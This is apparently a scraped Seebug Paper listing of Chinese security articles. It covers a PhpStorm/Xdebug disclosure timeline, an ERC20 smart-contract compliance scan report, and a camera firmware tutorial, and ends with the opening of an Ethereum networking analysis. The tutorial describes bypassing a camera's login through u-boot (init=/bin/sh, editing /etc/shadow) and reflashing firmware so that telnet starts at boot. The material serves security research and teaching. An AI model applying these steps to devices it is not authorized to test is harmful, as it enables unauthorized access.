    2018/06/31 - 2018/07/01: 尝试分析 Evaluate in Console 的问题,发现新的利用点 Copy Value. 即使 evalXdebug 提供的功能,但是 PhpStorm 没有过滤单引号导致我们可以在 Xdebug 服务器上执行命令,所以整理文档联系 security@jetbrains.com
    2018/07/04: 收到官方回复,认为这是 Xdebug 的问题,PhpStorm 在调试过程中不提供对服务器资源的额外访问权限。
    2018/07/06: 再次联系官方,说明该攻击可以用于钓鱼攻击。
    2018/07/06: 官方认为用户在服务器上运行不可信的代码会造成服务器被破坏,这与 PhpStorm 无关,这也是 PhpStorm 不影响服务器安全性的原因。官方同意我披露该问题。

    2018/08/16: 披露该问题。


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/668/

    作者:Elfinx | Categories:安全科普技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告

    2018-08-29
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年8月10日
    英文版:https://paper.seebug.org/670/

    一、 简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“未触发Transfer事件问题”、“未触发Approval事件问题”、“假充值漏洞”、“构造函数书写错误”等问题统一归类为“以太坊智能合约规范问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约规范”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    ERC20[1]是一种代币标准,用于以太坊区块链上的智能合约。ERC20定义了一种以太坊必须执行的通用规则,如果在以太坊发行的代币符合ERC20的标准,那么交易所就可以进行集成,在它们的交易所实现代币的买卖和交易。

    ERC20中规定了transfer函数必须触发Transfer事件,transfer函数必须返回bool值,在进行余额判断时,应抛出错误而不是简单的返回错误,approve函数必须触发Approval事件。

    1、未触发Transfer事件

    上述代码在发生交易时未触发Transfer事件,在发生交易时,未产生event事件,不符合ERC20标准,不便于开发人员对合约交易情况进行监控。

    2、未触发Approval事件

    上述代码在发生交易时未触发Approval事件,在发生交易时,未产生event事件,不符合ERC20标准,不便于开发人员对合约情况进行监控。

    3、假充值漏洞

    上述代码在判断余额时使用了if语句,ERC20标准规定,当余额不足时,合约应抛出错误使交易回滚,而不是简单的返回false。

    这种情况下,会导致即使没有真正发生交易,但交易仍然成功,这种情况会影响交易平台的判断结果,可能导致假充值。

    2018年7月9日,慢雾安全团队发布了关于假充值的漏洞预警。

    2018年7月9日,知道创宇404区块链安全研究团队跟进应急该漏洞,并对此漏洞发出了漏洞预警。

    4、构造函数书写错误漏洞

    Solidity0.4.22版本以前,编译器要求,构造函数名称应该和合约名称保持一致,如果构造函数名字和合约名字大小写不一致,该函数仍然会被当成普通函数,可以被任意用户调用。

    Solidity0.4.22中引入了关于构造函数constructor使用不当的问题,constructor在使用中错误的加上了function定义,从而导致constructor可以被任意用户调用,会导致可能的更严重的危害,如Owner权限被盗。

    构造函数大小写错误漏洞

    上述代码错误的将构造函数名大写,导致构造函数名和合约名不一致。这种情况下,该函数被设置为一个普通的public函数,任意用户都可以通过调用该函数来修改自己为合约owner。进一步导致其他严重的后果。

    2018年6月22日,MorphToken合约代币宣布更新新的智能合约[2],其中修复了关于大小写错误导致的构造函数问题。

    2018年6月22日,知道创宇404区块链安全研究团队跟进应急,并输出了《以太坊智能合约构造函数编码错误导致非法合约所有权转移报告》。

    构造函数编码错误漏洞

    上述代码错误的使用function来作为constructor函数装饰词,这种情况下,该函数被设置为一个普通的public函数,任意用户都可以通过调用该函数来修改自己为合约owner。进一步导致其他严重的后果。

    2018年7月14日,链安科技在公众号公布了关于constructor函数书写错误的问题详情[3]。

    2018年7月15日,知道创宇404区块链安全研究团队跟进应急,并输出了《以太坊智能合约构造函数书写错误导致非法合约所有权转移报告》

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约审计功能规则,我们对全网的公开的共39548 个合约代码进行了扫描,其中共14978个合约涉及到这类问题。

    1、 未触发Transfer事件

    截止2018年8月10日为止,我们发现了4604个存在未遵循ERC20标准未触发Transfer事件的合约代码,其中交易量最高的10个合约情况如下:

    2、 未触发Approval事件

    截止2018年8月10日为止,我们发现了5231个存在未遵循ERC20标准未出发Approval事件的合约代码,其中交易量最高的10个合约情况如下:

    3、假充值漏洞

    2018年7月9日,知道创宇404区块链安全研究团队在跟进应急假充值漏洞时,曾对全网公开合约代码进行过一次扫描,当时发现约3141余个存在假充值问题的合约代码,其中交易量最高的10个合约情况如下:

    截止2018年8月10日为止,我们发现了5027个存在假充值问题的合约代码,其中交易量最高的10个合约情况如下:

    4、构造函数书写问题

    构造函数大小写错误漏洞

    2018年6月22日,知道创宇404区块链安全研究团队在跟进应急假充值漏洞时,全网中存在该问题的合约约为16个。

    截止2018年8月10日为止,我们发现了90个存构造函数大小写错误漏洞的合约代码,其中交易量最高的10个合约情况如下:

    构造函数编码问题

    截止2018年8月10日为止,我们发现了24个存在构造函数书写问题的合约代码,比2018年7月14日对该漏洞应急时只多了一个合约,其中交易量最高的10个合约情况如下:

    四、修复方式

    1)transfer函数中应触发Tranfser事件

    2)approve函数中应触发Approval事件

    3)transfer余额验证时应使用require抛出错误

    4)0.4.22版本之前,构造函数应和合约名称一致

    5)0.4.22版本之后,构造函数不应用function修饰

    五、一些思考

    上面这些问题算是我在回顾历史漏洞中经常发现的一类问题,都属于开发人员没有遵守ERC20标准而导致的,虽然这些问题往往不会直接导致合约漏洞的产生,但却因为这些没有遵守标准的问题,在后期对于合约代币的维护时,会出现很多问题。

    如果没有在transfer和approve时触发相应的事件,开发人员就需要更复杂的方式监控合约的交易情况,一旦发生大规模盗币时间,甚至没有足够的日志提供回滚。

    如果转账时没有抛出错误,就有可能导致假充值漏洞,如果平台方在检查交易结果时是通过交易状态来判断的,就会导致平台利益被损害。

    如果开发人员在构造函数时,没有注意不同版本的编译器标准,就可能导致合约所有权被轻易盗取,导致进一步更严重的盗币等问题。

    我们在对全网公开的合约代码进行扫描和监控时容易发现,有很大一批开发人员并没有注意到这些问题,甚至构造函数书写错误这种低级错误,在漏洞预警之后仍然在发生,考虑到大部分合约代码没有公开,可能还有很多开发者在不遵守标准的情况下进行开发,还有很多潜在的问题需要去考虑。

    这里我们建议所有的开发者重新审视自己的合约代码,检查是否遵守了ERC20合约标准,避免不必要的麻烦以及安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    六、REF

    [1] ERC标准
    https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

    [2] Morpheus官方公告
    https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91 b80dbc7655

    [3] 构造函数书写问题漏洞详情
    https://mp.weixin.qq.com/s/xPwhanev-cjHhc104Wmpug


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/663/

    作者:Elfinx | Categories:安全科普技术分享 | Tags:
  • 摄像头漏洞挖掘入门教程(固件篇)

    2018-08-29

    作者:fenix@知道创宇404实验室
    时间:2017年11月27日

    0x00 引言

    据 IT 研究与顾问咨询公司 Gartner 预测,2017 年全球物联网设备数量将达到 84 亿,比 2016 年的 64 亿增长31%,而全球人口数量为 75 亿。2020 年物联网设备数量将达到 204 亿。

    而与如此快的发展速度相对应的,物联网的安全问题也日趋凸显,尤其是网络摄像头、路由器等常见设备。我们可以从以下两个案例大致感受一下物联网设备严峻的安全形势。

    物联网设备数量的快速增长和其安全性的严重滞后形成了鲜明对比。同时也给恶意攻击者和安全研究人员提供了新的土壤,这场正邪的博弈在新的战场上正激烈上演。

    这是一篇详细的入门级别的教程,献给众多想入门智能设备安全的爱好者们。(本文完成于2017年,时隔一年对外发布。)

    0x01 概述

    1.0 固件及其常见获取方式

    固件(Firmware)就是写入 EROM (可擦写只读存储器)或 EEPROM(电可擦可编程只读存储器)中的程序。特殊的,对于市面上大部分的路由器和摄像头来说,固件就是电路板上的 25 系列 Flash 芯片中的程序,其中存放着嵌入式操作系统,通常是 Linux 系统。

    获取固件是分析挖掘固件漏洞的前提,本文将以摄像头为例,介绍如何 Dump Flash 芯片中的固件以及获取固件之后的一些玩法思路。

    通常情况下,有以下几种获取固件的途径。

    本文涉及后两种方式提取固件的方式。

    0x02 概念拓展

    在开始正式的固件提取之前,先来熟悉几个基础概念。

    2.0 串口和串口通信

    串口(Serial port)又称“序列端口”,主要用于串行式逐位数据传输。

    UART(Universal Asynchronous Receiver/Transmitter) 是一种异步串口通信协议。串口遵循 UART 协议按位(bit)异步发送和接收字节,通常情况下需要连接三对针脚,连线方式如下所示(图片来自网络):

    上图中,TX 为接收端,RX 为传输端,GND 为接地端。按照图示方式连接板子的调试串口和 USB 转 TTL 串口线,设置好波特率、数据位、停止位和奇偶校验等重要参数后,双方就可以正常发送 ASCII 码字符,从而进行异步串口通信。

    2.1 u-boot 引导

    u-boot 是一种普遍用于嵌入式系统中的引导程序,它在操作系统运行之前执行,用来初始化软硬件环境,并最终启动系统内核。

    0x03 通过调试串口进入系统

    3.0 研究对象

    本节我们将从一款无线监控摄像头入手,讲解如何通过调试串口获取系统的 Shell。

    使用 nmap 探测该摄像头的开放端口及服务,结果如下

    监听在 100 端口的 Mongoose 是一个嵌入式的 Web 服务器,gSOAP 是一个跨平台的,用于开发 Web Service 服务端和客户端的工具。RTSP(Real Time Streaming Protocol),实时流传输协议,是 TCP/IP 协议体系中的一个应用层协议,该协议定义了一对多应用程序如何有效地通过 IP 网络传送多媒体数据。

    之后可以通过 Fidderwireshark 等工具对服务进行抓包分析,然而这不是我们今天的重点。下面我们将从硬件的角度去分析。

    3.1 需要的工具

    • USB 转 TTL 串口线
    • 电烙铁
    • 螺丝刀
    • ...

    3.2 UART 藏哪了

    制造路由器、摄像头等设备的厂商通常会在设备上留下调试串口方便开发或售后过程中的调试,为了和设备进行通信,我们首先需要找到这些 "后门"。用工具将摄像头拆开,根据主板上芯片上的型号可以识别出芯片的用途。如图,我们找到了处理器和存储器芯片的位置,处理器是国科 IPC 芯片 GK7102,存储器芯片是 25 系列 flash 芯片 IC25LP128 。主板上空闲的接口有三个(右图),左下、右下、右下偏上,经过测试,左下那个是 4 针 debug 串口(波特率 115200),串口的第一个针脚为 Tx,第三个针脚为 Rx,分别与 USB-转-TTLRxTx 连接(USB 转 TTL 串口线和主板由同一个 Hub 供电,VCC 相差不大,没有连接 GND)。

    至于如何找到设备上的调试串口,可参考 reverse-engineering-serial-ports,此处不再赘述。

    minicom 是一款 Linux 平台上的串口工具,在控制台键入以下命令和串口进行通信。

    在这步操作的时候很容易遇到权限的问题,介绍一个很粗暴的方法。

    3.3 嵌入式系统启动流程

    笔记本正确连接主板串口,供电后,在终端可以看到以下系统启动过程中的调试信息。

    Flash 芯片的分区信息如下

    开机后系统启动了以下服务,可能是摄像头服务的主进程。

    系统启动完成后,提供了Shell 的登陆界面。

    通过观察启动流程,我们已经获得了很多有用的信息,对 u-boot 如何引导系统的启动也有了一个大致的认识。

    最后,我们尝试使用弱密码获取系统的 Shell,遗憾的是,经过多次尝试,均已失败告终。

    3.4 登陆绕过

    如果你使用过 Linux 系统,或多或少的经历过忘记系统密码导致无法进入系统的尴尬境地。我们的解决方案也堪称简单粗暴,直接进入 grub 引导修改密码。所以,如果设备触手可及,几乎不存在进不入系统的问题。

    在摄像头这种运行着嵌入式 Linux 操作系统的设备上,也有一个类似 grub 的存在,它就是 u-boot

    重启设备,根据提示键入组合键进入到 u-boot 命令行界面。

    u-boot 命令行内置了很多常用命令供我们使用,键入 h 查看帮助。

    通过 printenv 打印出 u-boot 传递给内核的参数信息。

    从部分参数的内容可以看到 u-boot 引导程序是如何移交控制权给内核的。

    • 首先为内核设置启动参数

    console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc

    • 将内核从 Flash 加载到内存中
    • 跳转到内存中内核的起始地址并执行

    我们来重点看下启动参数的 init 字段。

    init 字段设置内核执行的初始化进程名,比如上面的 linuxrc,它是位于文件系统根目录下的一段程序代码,负责后续的系统初始化工作。

    是否可以直接修改 init=/bin/sh 从而实现在系统未初始化完成的时候访问根文件系统呢?我们不妨试一下,在 u-boot 命令行中修改参数 sfbootinit 字段的值为 /bin/sh并保存,修改后效果如下。(修改前做好参数的备份)

    重启设备,正如我们所猜想的,修改内核执行的初始进程,我们成功获得了一个 Shell

    由于没有经过 linuxrc 的初始化过程,这样获得的 Shell 功能是很受限的。在该 shell 下编辑 /etc/shadow 文件,擦除或者破解 root 用户的密码,重启到 u-boot 命令行界面中修改回原来的启动参数并保存,再次重启到 Shell 登陆界面,即可获得一个具有完整功能的 Shell。

    3.5 打包上传固件

    经过上面的步骤,我们已经可以登录到一个功能完整的 Shell,使用 tartftp 命令打包上传根文件系统到 tftp 服务器即可。

    3.6 其他技巧

    u-boot 中提供了相关命令操作 Flash 芯片,所以也可以按照如下方式提取固件。(这种 cat 内存的方式只是一种思路,速度是内伤)

    0x04 暴力读写固件存储芯片解锁新功能

    本小节我们以另一款基于 gSOAP 协议的摄像头为例(固件存储芯片型号 MX25LP128),介绍如何用编程器读写 Flash 芯片,从而打开该摄像头的 telnet 服务。

    4.0 需要准备的工具

    • 25 系列芯片编程器
    • 电洛铁
    • ...

    4.1 读取固件

    MX25L128 这款 25 系列 Flash 芯片可以直接在线读取,用 夹子 夹住 Flash 芯片,连接编程器即可读取其中的固件。

    点击 智能识别SmartID,芯片型号识别成功后点击 读取 Read ,最后保存成文件即可。如下图,读取过程非常顺利。

    .2 固件解压

    binwalk 是 devttys0 大神开发的一款固件分析工具,强烈推荐使用 Github 上的教程安装,直接 apt-get 安装会缺少很多依赖。

    使用 binwalk 查看固件结构

    内核编译(make)之后会生成两个文件,一个 Image,一个 zImage,其中 Image 为内核映像文件,而 zImage为内核的一种映像压缩文件。

    那么 uImage 又是什么的?它是 uboot 专用的映像文件,它是在 zImage 之前加上一个长度为 64 字节的头部,说明这个内核的版本、加载位置、生成时间、大小等信息;其 0x40 之后与 zImage 没有区别。

    固件使用的是 squashfs 文件系统,它是一套供 Linux 核心使用的 GPL 开源只读压缩文件系统。所以设备正常运行的时候是不能对固件进行修改的,在前面那部分,我们从串口进去通过修改内核的初始进程的方式进入系统,是由于系统尚未初始化完成,从而获得了对文件系统的读写权限。

    在固件的后一部分,包含一个可以写入的区域。一个 JFFS2 文件系统,它是在闪存上使用非常广泛的读/写文件系统,设备运行过程中修改过的配置信息和其他数据将被写入这个文件系统中。

    squashfs 文件系统开始于 0x3100000, 大小为 6963644 字节, 用 dd 命令提取该文件系统,用 unsquashfs 命令解压。

    4.3 解锁功能

    熟悉文件系统结构和已有的命令

    很明显,该固件的 Shell 是基于 busybox 提供的。从 file 指令的结果可以判断该摄像头是 32位 ARM 指令架构。

    这个 busybox 是静态链接的,不依赖其他的库文件。可以直接利用 qemu-arm 模拟运行。

    当然,我们也可以搭建一个 qemu 虚拟机。

    在这个网站下载 qemu 虚拟机镜像文件,然后按照如下方式启动虚拟机。

    现在我们已经可以确定目标文件系统是存在 telnetd 命令的。在根目录下的 boot.sh 文件末尾添加以下内容,使设备在开启时自动启动 telnet 服务。

    4.4 重新封印

    现在,对文件系统的简单修改已经完成了,我们该如何重新打包固件,以便重新刷回到设备呢?

    还是从固件结构入手,如下

    我们自定义的只是中间的文件系统部分。即 0x3100000 - 0xB00000 这一段。同时,这一段的长度并不等于 squashfs 文件系统的大小 6963644 字节,squashfs 文件系统末至下一段开始之前有一段 0xff的填充部分。

    从 uImage 头信息可以看到,image size2217456, 而 squashfs 文件系统的起始位置为 3670016,没有对 squashfs 文件系统做 CRC 检验。

    根据以上结论判断,我们只需要在不改变原始固件结构的前提下,将修改后的文件系统重新打包成固件。

    利用 cat 将各段连接起来

    4.5 刷回

    Cheers,重新打包完成。利用编程器将修改后的固件离线刷入固件存储芯片即可。(在线刷各种坑,建议离线写入)

    4.6 成果

    可以看到,我们成功开启了该摄像头的 telnet 服务。

    0x05 总结

    对智能设备的软硬件有足够的了解是深入挖掘设备漏洞的基础。本文是在对摄像头等物联网设备研究过程中的一些经验总结,希望对大家有所帮助。

     

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/649/

    作者:Elfinx | Categories:安全科普技术分享 | Tags:
  • 以太坊网络架构解析

    2018-08-28

    作者:0x7F@知道创宇404区块链安全研究团队
    时间:2018年7月12日

    0x00 前言

    区块链的火热程度一直以直线上升,其中以区块链 2.0 —— 以太坊为代表,不断的为传统行业带来革新,同时也推动区块链技术发展。

    区块链是一种分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式,这是一个典型的去中心化应用,建立在 p2p 网络之上;本文以学习和分析以太坊运作原理为目的,将以太坊网络架构作为一个切入点,逐步深入分析,最终对以太坊网络架构有个大致的了解。

    通过学习以太坊网络架构,可以更容易的对网络部分的源码进行审计,便于后续的协议分析,来发现未知的安全隐患;除此之外,目前基于 p2p 网络的成熟的应用非常少,借助分析以太坊网络架构的机会,可以学习一套成熟的 p2p 网络运行架构。

    本文侧重于数据链路的建立和交互,不涉及网络模块中的节点发现、区块同步、广播等功能模块。

    0x01 目录

    1. Geth 启动
    2. 网络架构
    3. 共享密钥
    4. RLPXFrameRW 帧
    5. RLP 编码
    6. LES 协议
    7. 总结

    其中第 3、4、5 三个小节是第 2 节「网络架构」的子内容,作为详细的补充。

    0x02 Geth 启动

    在介绍以太坊网络架构之前,首先简单分析下 Geth 的整体启动流程,便于后续的理解和分析。

    以太坊源码目录

    初始化工作

    Geth 的 main() 函数非常的简洁,通过 app.Run() 来启动程序:

    其简洁是得力于 Geth 使用了 gopkg.in/urfave/cli.v1 扩展包,该扩展包用于管理程序的启动,以及命令行解析,其中 app 是该扩展包的一个实例。

    在 Go 语言中,在有 init() 函数的情况下,会默认先调用 init() 函数,然后再调用 main() 函数;Geth 几乎在 ./cmd/geth/main.go#init() 中完成了所有的初始化操作:设置程序的子命令集,设置程序入口函数等,下面看下 init() 函数片段: